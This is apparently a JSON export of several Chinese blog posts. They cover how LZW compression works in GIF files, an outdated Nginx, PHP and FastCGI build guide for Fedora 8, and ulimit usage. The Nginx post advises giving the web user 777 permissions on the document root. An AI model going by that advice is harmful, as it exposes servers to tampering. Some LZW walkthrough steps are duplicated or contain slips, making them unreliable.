因为原始数据可以用8bit来表示，故清除标志Clear=255+1 =256,结束标志为End=256+1=257，目前标号集为\n\u0026nbsp;\u0026nbsp; 0 1 2 3 \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;255 CLEAR END\n\u0026nbsp;\u0026nbsp; 第一步,读取第一个字符为255,在标记表里面查找，255已经存在，我们已经认识255了，不做处理\n\u0026nbsp;\u0026nbsp; 第二步,取第二个字符，此时前缀为A,形成当前的Entry为(255,24),在标记集合不存在，我们并不认识255,24好，这次你小子来了，我就记住你，把它在标记集合中标记为258,然后输出前缀A,保留后缀24，并作为下一次的前缀（后缀变前缀)\n第三步，取第三个字符为54，当前Entry(24,54),不认识，记录(24,54)为标号259,并输出24,后缀变前缀\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第四部：取第四个字符255,Entry=(54,255),不认识，记录(54,255)为标号260,输出54,后缀变前缀\n\u0026nbsp;\u0026nbsp; 第五步\u0026nbsp;\u0026nbsp; 取第5个字符24，entry=(255,24),啊，认识你，这不是老258么，于是把字符串规约为258，并作为前缀\n\u0026nbsp;\u0026nbsp; 第六步 取第六个字符255,entry=(258,255)，不认识，记录(258,255)为261,输出258,后缀变前缀\n\u0026nbsp;\u0026nbsp; \u0026#8230;\u0026#8230;.\n一直处理到最后一个字符,\n用一个表记录处理过程\n\u0026nbsp;\u0026nbsp; CLEAR=256,END=257\n第几步 前缀 后缀 Entry 认识(Y/N) 输出 标号 1 255 （，255） 2 255 24 (255,24) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 255 258 3 24 54 (24,54) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 24 259 4 54 255 \u0026nbsp;\u0026nbsp; (54,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 54 260 5 255 24 (255,24) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 6 258 255 (258,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 258 261 7 255 255 (255,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 255 262 \u0026#8230;..\n上面这个示例有些不能完整体现，另外一个例子是\n原输入数据为:A B A B A B A B B B A B A B A A C D A C D A D C A B A A A B A B \u0026#8230;..\n采用LZW算法对其进行压缩，压缩过程用一个表来表述为:\n注意原数据中只包含4个character,A,B,C,D\n用两bit即可表述，根据lzw算法，首先扩展一位变为3为,Clear=2的2次方+1=4; End=4+1=5;\n初始标号集因该为\n0 1 2 3 4 5 A B C D Clear End 而压缩过程为:\n第几步 前缀 后缀 Entry 认识(Y/N) 输出 标号 1 A （，A） 2 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N A 6 3 B A (B,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N B 7 4 A B \u0026nbsp;\u0026nbsp; (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 5 6 A (6,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 6 8 6 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 7 6 A (6,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 8 8 B (8,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 8 9 9 B B (B,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N B 10 10 B B (B,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 11 10 A (10,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 10 11 12 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y \u0026#8230;..\n当进行到第12步的时候，标号集应该为\n0 1 2 3 4 5 6 7 8 9 10 11 A B C D Clear End AB BA 6A 8B BB 10A 8.LZW算法的伪代码实现\n1STRING = get input character\n2WHILE there are still input characters DO\n3\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CHARACTER = get input character\n4\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; IF STRING+CHARACTER is in the string table then\n5\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STRING = STRING+character\n6\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ELSE\n7\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; output the code for STRING\n8\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; add STRING+CHARACTER to the string table\n9\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STRING = CHARACTER\n10\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; END of IF\n11END of WHILE\n12output the code for STRING 13 9.LZW算法的流程图\n没有安visio,画了一个，比较难看，\n","permalink":"https://hessian.cn/p/593.html","summary":"src:http://www.cnblogs.com/jillzhang/archive/2006/11/06/551298.html\n\u0026nbsp;\u0026nbsp; 我希望通过本文的介绍，能给那些目前不太了解lzw算法和该算法在gif图像中应用，但渴望了解它的人一些启发和帮助。抛砖引玉而已，更希望园子里面兄弟提出宝贵的意见。\n1.LZW的全称是什么?\n\u0026nbsp;\u0026nbsp; Lempel-Ziv-Welch (LZW).\n2. LZW的简介和压缩原理是什么？\n\u0026nbsp;\u0026nbsp; LZW压缩算法是一种新颖的压缩方法，由Lemple-Ziv-Welch 三人共同创造，用他们的名字命名。它采用了一种先进的串表压缩，将每个第一次出现的串放在一个串表中，用一个数字来表示串，压缩文件只存贮数字，则不存贮 串，从而使图象文件的压缩效率得到较大的提高。奇妙的是，不管是在压缩还是在解压缩的过程中都能正确的建立这个串表，压缩或解压缩完成后，这个串表又被丢 弃。\n\u0026nbsp;\u0026nbsp; LZW算法中，首先建立一个字符串表，把每一个第一次出现的字符串放入串表中，并用一个数字来表示，这个数字与此字符串在串表中的位置有关，并将这个数字 存入压缩文件中，如果这个字符串再次出现时，即可用表示它的数字来代替，并将这个数字存入文件中。压缩完成后将串表丢弃。如\u0026quot;print\u0026quot; 字符串，如果在压缩时用266表示，只要再次出现，均用266表示，并将\u0026quot;print\u0026quot;字符串存入串表中，在图象解码时遇到数字266，即可从串表中查出 266所代表的字符串\u0026quot;print\u0026quot;，在解压缩时，串表可以根据压缩数据重新生成。\n3.在详细介绍算法之前，先列出一些与该算法相关的概念和词汇\n\u0026nbsp;\u0026nbsp; 1)\u0026#8217;Character\u0026#8217;: 字符，一种基础数据元素，在普通文本文件中，它占用1个单独的byte，而在图像中，它却是 一种代表给定像素颜色的索引值。\n\u0026nbsp;\u0026nbsp; 2)\u0026#8217;CharStream\u0026#8217;：数据文件中的字符流。\n\u0026nbsp;\u0026nbsp; 3)\u0026#8217;Prefix\u0026#8217;:前缀。如这个单词的含义一样，代表着在一个字符最直接的前一个字符。一个前缀字符长度可以为0,一个prefix和一个character可以组成一个字符串(string),\n\u0026nbsp;\u0026nbsp; 4)\u0026#8217;Suffix\u0026#8217;: 后缀，是一个字符，一个字符串可以由(A,B)来组成，A是前缀,B是后缀,当A长度为0的时候，代表Root，根\n\u0026nbsp;\u0026nbsp; 5)\u0026#8217;Code:码,用于代表一个字符串的位置编码\n\u0026nbsp;\u0026nbsp; 6)\u0026#8217;Entry\u0026#8217;，一个Code和它所代表的字符串(string)\n4.压缩算法的简单示例，不是完全实现LZW算法，只是从最直观的角度看lzw算法的思想\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 对原始数据ABCCAABCDDAACCDB进行LZW压缩\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 原始数据中，只包括4个字符(Character),A,B,C,D,四个字符可以用一个2bit的数表示，0-A,1-B,2-C,3-D,从最直观的角度看，原始字符串存在重复字符：ABCCAABCDDAACCDB，用4代表AB,5代表CC，上面的字符串可以替代表示为:45A4CDDAA5DB,这样是不是就比原数据短了一些呢！\n5.LZW算法的适用范围\n\u0026nbsp;\u0026nbsp; 为了区别代表串的值(Code)和原来的单个的数据值(String)，需要使它们的数值域不重合，上面用0-3来代表A-D,那么AB就必须用大于3的 数值来代替，再举另外一个例子，原来的数值范围可以用8bit来表示，那么就认为原始的数的范围是0～255，压缩程序生成的标号的范围就不能为 0～255（如果是0-255，就重复了）。只能从256开始，但是这样一来就超过了8位的表示范围了，所以必须要扩展数据的位数，至少扩展一位，但是这样不是增加了1个字符占用的空间了么？但是却可以用一个字符代表几个字符，比如原来255是8bit,但是现在用256来表示254，255两个数，还是划得来的。从这个原理可以看出LZW算法的适用范围是原始数据串最好是有大量的子串多次重复出现，重复的越多，压缩效果越好。反之则越差，可能真的不减反增了。\n6.LZW算法中特殊标记\n\u0026nbsp;\u0026nbsp; 随着新的串(string)不断被发现，标号也会不断地增长，如果原数据过大，生成的标号集（string table)会越来越大，这时候操作这个集合就会产生效率问题。如何避免这个问题呢?Gif在采用lzw算法的做法是当标号集足够大的时候，就不能增大 了，干脆从头开始再来，在这个位置要插入一个标号，就是清除标志CLEAR，表示从这里我重新开始构造字典，以前的所有标记作废，开始使用新的标记。\n这时候又有一个问题出现，足够大是多大？这个标号集的大小为比较合适呢？理论上是标号集大小越大，则压缩比率就越高，但开销也越高。 一般根据处理速度和内存空间连个因素来选定。GIF规范规定的是12位，超过12位的表达范围就推倒重来，并且GIF为了提高压缩率，采用的是变长的字 长。比如说原始数据是8位，那么一开始，先加上一位再说，开始的字长就成了9位，然后开始加标号，当标号加到512时，也就是超过9为所能表达的最大数据 时，也就意味着后面的标号要用10位字长才能表示了，那么从这里开始，后面的字长就是10位了。依此类推，到了2^12也就是4096时，在这里插一个清 除标志，从后面开始，从9位再来。\nGIF规定的清除标志CLEAR的数值是原始数据字长表示的最大值加1，如果原始数据字长是8，那么清除标志就是256，如果原始数据字长为4那么就是16。另外GIF还规定了一个结束标志END，它的值是清除标志CLEAR再加1。由于GIF规定的位数有1位（单色图），4位（16色）和8位（256色），而1位的情况下如果只扩展1位，只能表示4种状态，那么加上一个清除标志和结束标志就用完了，所以1位的情况下就必须扩充到3位。其它两种情况初始的字长就为5位和9位。此处参照了http://blog.csdn.net/whycadi/\n7.用lzw算法压缩原始数据的示例分析\n\u0026nbsp;\u0026nbsp; 输入流，也就是原始的数据为:255,24,54,255,24,255,255,24,5,123,45,255,24,5,24,54\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026nbsp;\u0026nbsp; 这个正好可以看到是gif文件中像素数组的一部分，如何对它进行压缩\n\u0026nbsp;\u0026nbsp; 因为原始数据可以用8bit来表示，故清除标志Clear=255+1 =256,结束标志为End=256+1=257，目前标号集为\n\u0026nbsp;\u0026nbsp; 0 1 2 3 \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;255 CLEAR END\n\u0026nbsp;\u0026nbsp; 第一步,读取第一个字符为255,在标记表里面查找，255已经存在，我们已经认识255了，不做处理\n\u0026nbsp;\u0026nbsp; 第二步,取第二个字符，此时前缀为A,形成当前的Entry为(255,24),在标记集合不存在，我们并不认识255,24好，这次你小子来了，我就记住你，把它在标记集合中标记为258,然后输出前缀A,保留后缀24，并作为下一次的前缀（后缀变前缀)\n第三步，取第三个字符为54，当前Entry(24,54),不认识，记录(24,54)为标号259,并输出24,后缀变前缀\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第四部：取第四个字符255,Entry=(54,255),不认识，记录(54,255)为标号260,输出54,后缀变前缀\n\u0026nbsp;\u0026nbsp; 第五步\u0026nbsp;\u0026nbsp; 取第5个字符24，entry=(255,24),啊，认识你，这不是老258么，于是把字符串规约为258，并作为前缀\n\u0026nbsp;\u0026nbsp; 第六步 取第六个字符255,entry=(258,255)，不认识，记录(258,255)为261,输出258,后缀变前缀\n\u0026nbsp;\u0026nbsp; \u0026#8230;\u0026#8230;.\n一直处理到最后一个字符,\n用一个表记录处理过程\n\u0026nbsp;\u0026nbsp; CLEAR=256,END=257\n第几步 前缀 后缀 Entry 认识(Y/N) 输出 标号 1 255 （，255） 2 255 24 (255,24) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 255 258 3 24 54 (24,54) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 24 259 4 54 255 \u0026nbsp;\u0026nbsp; (54,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 54 260 5 255 24 (255,24) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 6 258 255 (258,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 258 261 7 255 255 (255,255) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 255 262 \u0026#8230;..\n上面这个示例有些不能完整体现，另外一个例子是\n原输入数据为:A B A B A B A B B B A B A B A A C D A C D A D C A B A A A B A B \u0026#8230;..\n采用LZW算法对其进行压缩，压缩过程用一个表来表述为:\n注意原数据中只包含4个character,A,B,C,D\n用两bit即可表述，根据lzw算法，首先扩展一位变为3为,Clear=2的2次方+1=4; End=4+1=5;\n初始标号集因该为\n0 1 2 3 4 5 A B C D Clear End 而压缩过程为:\n第几步 前缀 后缀 Entry 认识(Y/N) 输出 标号 1 A （，A） 2 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N A 6 3 B A (B,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N B 7 4 A B \u0026nbsp;\u0026nbsp; (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 5 6 A (6,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 6 8 6 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 7 6 A (6,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 8 8 B (8,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 8 9 9 B B (B,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N B 10 10 B B (B,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y 11 10 A (10,A) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; N 10 11 12 A B (A,B) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Y \u0026#8230;..\n当进行到第12步的时候，标号集应该为\n0 1 2 3 4 5 6 7 8 9 10 11 A B C D Clear End AB BA 6A 8B BB 10A 8.LZW算法的伪代码实现\n","title":"[转]LZW数据压缩算法的原理分析"},{"content":"Nginx (\u0026quot;engine x\u0026quot;) 是一个高性能的 HTTP 和 反向代理 服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版，但是，Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。 对于高负载web服务器强烈推荐\nuname -a\nLinux gk 2.6.24.4-64.fc8 #1 SMP Sat Mar 29 09:54:46 EDT 2008 i686 athlon i386 GNU/Linux\n一、先编译安装PCRE， 我用的是当时最新的版本 7.7\nnginx的rewrite需要pcre库的支持，如果你不用rewrite也可以不装这个\nCFLAGS=\u0026#8217;-O2 -Wall\u0026#8217; ./configure \u0026#8211;prefix=/usr/local/pcre\nmake -j 4 (此项根据个人机器而定 一般来说cpu * 2是没有问题的，多任务编译，机器扛得住就越多越快)\nmake install\n（其实貌似不装也可以，nginx配置的时候设定的路径是源码包。。。。）\n二、编译安装nginx 0.6.3\ngzip 模块需要 zlib 库\nrewrite 模块需要 pcre 库\nssl 功能需要 openssl 库\n这里的用户(www)应该有对document_root完全操作权限(777)\nmd5和sha1系统应该是都有带了的，但是不指定的话它会找不到，还是得给个路径\nopenssl根据个人需要装吧 yum install openssl 就行，不知道是什么就别装了， 用来支持https的\n./configure \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;prefix=/usr/local/nginx \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;user=www \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;group=www \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-http_ssl_module \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-http_stub_status_module \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-pcre=/workspace/software/pcre-7.7 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-md5=/usr \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-sha1=/usr\nmake -j 4\nmake install\n三、编译安装PHP\nPHP的配置是比较复杂的，不过网上的资料太多了，我就不多说了\n注意两点：必须添加\n\u0026#8211;enable-fastcgi \u0026#8211;enable-force-cgi-redirect\n不能保留（sapi / cli|cgi 貌似不能共存还是同时编译？如果有需要就弄到两个目录去好了）\n\u0026#8211;with-apxs2\n下面是我的配置，仅供参考\n./configure \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;prefix=/usr/local/php \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-config-file-path=/usr/local/php \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-mysql=/usr/local/mysql \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-iconv-dir=/usr/local \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-xsl \u0026#8211;disable-rpath \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-discard-path \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-safe-mode \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-bcmath \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-shmop \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-sysvsem \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-inline-optimization \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-libexpat-dir=/usr/lib \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-gmp \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-curl \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-curlwrappers \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-mbregex \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-ftp \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-gd=/usr/local/gd2035 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-zip \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-sockets \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-soap \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-mbstring=all \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-gd-native-ttf \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-freetype-dir \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-jpeg-dir \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-png-dir \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-zlib \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;with-pdo-mysql=/usr/local/mysql \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;without-pdo-sqlite \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-fastcgi \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;enable-force-cgi-redirect\nmake -j 4\nmake install\n复制 php.ini-(dis|recommended) 到 \u0026#8211;with-config-file-path 设定的目录下\n修改，去处其注释\ncgi.fix_pathinfo=1\n保持doc_root的值为空或者注释掉\n其他根据需要设定即可，这里只提有别与普通设置的地方\n四、我们需要ligthttpd 的 spawn-fcgi来启动php-cgi。。。\n先down下来ligthttpd源码 。。\n然后编译（对，就是编译，咱不装他）\nconfigure \u0026amp;\u0026amp; make -j 4 (省事的做法。。)\n编译完成后 进入src目录\n复制 spawn-fcgi 到 /usr/local/php/bin 目录下\n然后可以先启动我们的fastcgi喽，用下面这个命令\n/usr/local/php/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 20 -u www -g www -f /usr/local/php/bin/php-cgi\n-f cgi程序路径\n-a 绑定到的IP\n-p 端口\n-C 启动进程数， 内存大的话（3G以上推荐250，如果服务器内存小于3GB，可以只开启25个进程，性能损失不到一倍）\n(作为root 启动才能用的参数)\n-u \u0026lt;user\u0026gt;\u0026nbsp;\u0026nbsp;\u0026nbsp; 使用指定的用户启动\n-g \u0026lt;group\u0026gt;\u0026nbsp;\u0026nbsp; 指定组群。。。\n千万要记住，这里的 用户和组都要有php文件目录(你的document_root)的读写权限噢\u0026#8230;最好跟nginx设定的一样\n血的教训阿\u0026#8230;\n如果出现什么 \u0026quot;No input file specified\u0026quot; 可能就是这个问题了\n然后编辑\n/usr/local/nginx/conf/fastcgi_params\n如果你下的版本跟我一样呢,只要加上\nfastcgi_param SCRIPT_FILENAME\u0026nbsp;\u0026nbsp;\u0026nbsp; $document_root$fastcgi_script_name;\n这一句就好了, 就加在 fastcgi_param SCRIPT_NAME\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $fastcgi_script_name; 的上面就可以了(顺序不重要..主要是要好看嘛\u0026#8230;)\n关于nginx.conf的设置我就懒得多说了(关键是我还没怎么弄明白呢)\n有问题的跟帖说吧\u0026#8230;.(估计也没人问..哈\u0026#8230;写给自己看的\u0026#8230;人老了..就怕忘东西)\n附上两篇我参考的文章地址:\nNginx 0.5.31 + PHP 5.2.4（FastCGI）搭建可承受3万以上并发连接数，胜过Apache 10倍的Web服务器[原创]\nhttp://blog.s135.com/read.php/297.htm\n利用Nginx替代apache实现高性能的Web环境\nhttp://www.linuxpk.com/391/viewspace-7616.html\n","permalink":"https://hessian.cn/p/353.html","summary":"Nginx (\u0026quot;engine x\u0026quot;) 是一个高性能的 HTTP 和 反向代理 服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版，但是，Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。 ","title":"[原创]Fedora8 + Nginx 0.6.3 + PHP 5.2.5"},{"content":"src: http://www.chinaitpower.com/2005September/2005-09-13/204427.html\n1,说明:\nulimit用于shell启动进程所占用的资源.\n2,类别:\nshell内建命令\n3,语法格式:\nulimit [-acdfHlmnpsStvw] [size]\n4,参数介绍:\n-H 设置硬件资源限制. -S 设置软件资源限制. -a 显示当前所有的资源限制. -c size:设置core文件的最大值.单位:blocks -d size:设置数据段的最大值.单位:kbytes -f size:设置创建文件的最大值.单位:blocks -l size:设置在内存中锁定进程的最大值.单位:kbytes -m size:设置可以使用的常驻内存的最大值.单位:kbytes -n size:设置内核可以同时打开的文件描述符的最大值.单位:n -p size:设置管道缓冲区的最大值.单位:kbytes -s size:设置堆栈的最大值.单位:kbytes -t size:设置CPU使用时间的最大上限.单位:seconds -v size:设置虚拟内存的最大值.单位:kbytes 5,简单实例:\n1]在RH8的环境文件/etc/profile中,我们可以看到系统是如何配置ulimit的: #grep ulimit /etc/profile ulimit -S -c 0 \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 这条语句设置了对软件资源和对core文件大小的设置 2]如果我们想要对由shell创建的文件大小作些限制,如: #ll h -rw-r\u0026#8211;r\u0026#8211; 1 lee lee 150062 7月 22 02:39 h #ulimit -f 100 #设置创建文件的最大块(一块=512字节) #cat h\u0026gt;newh File size limit exceeded #ll newh -rw-r\u0026#8211;r\u0026#8211; 1 lee lee 51200 11月 8 11:47 newh 文件h的大小是150062字节,而我们设定的创建文件的大小是512字节x100块=51200字节 当然系统就会根据你的设置生成了51200字节的newh文件. 3]可以像实例1]一样,把你要设置的ulimit放在/etc/profile这个环境文件中.\n","permalink":"https://hessian.cn/p/520.html","summary":"src: http://www.chinaitpower.com/2005September/2005-09-13/204427.html\n1,说明:\nulimit用于shell启动进程所占用的资源.\n2,类别:\nshell内建命令\n3,语法格式:\nulimit [-acdfHlmnpsStvw] [size]\n","title":"ulimit使用简介"},{"content":"\n\u0026#8230;.被流水点名了\u0026#8230;真难得\u0026#8230;\n\u0026#8230;点名纳\u0026#8230;.点名了\u0026#8230;..\n传递规则：\n1．被传到的博主要珍惜自己百度空间的火炬手机会！复制奥运火炬图！要在自己的博客里写下对奥运的 祝福，然后传给另外一个人1个人，写出自己是第几棒！保留上一棒火炬手的名字！还要到被传百度空间火炬手的博客里留言通知对方\u0026mdash;\u0026mdash;火炬传到你这里了，请往 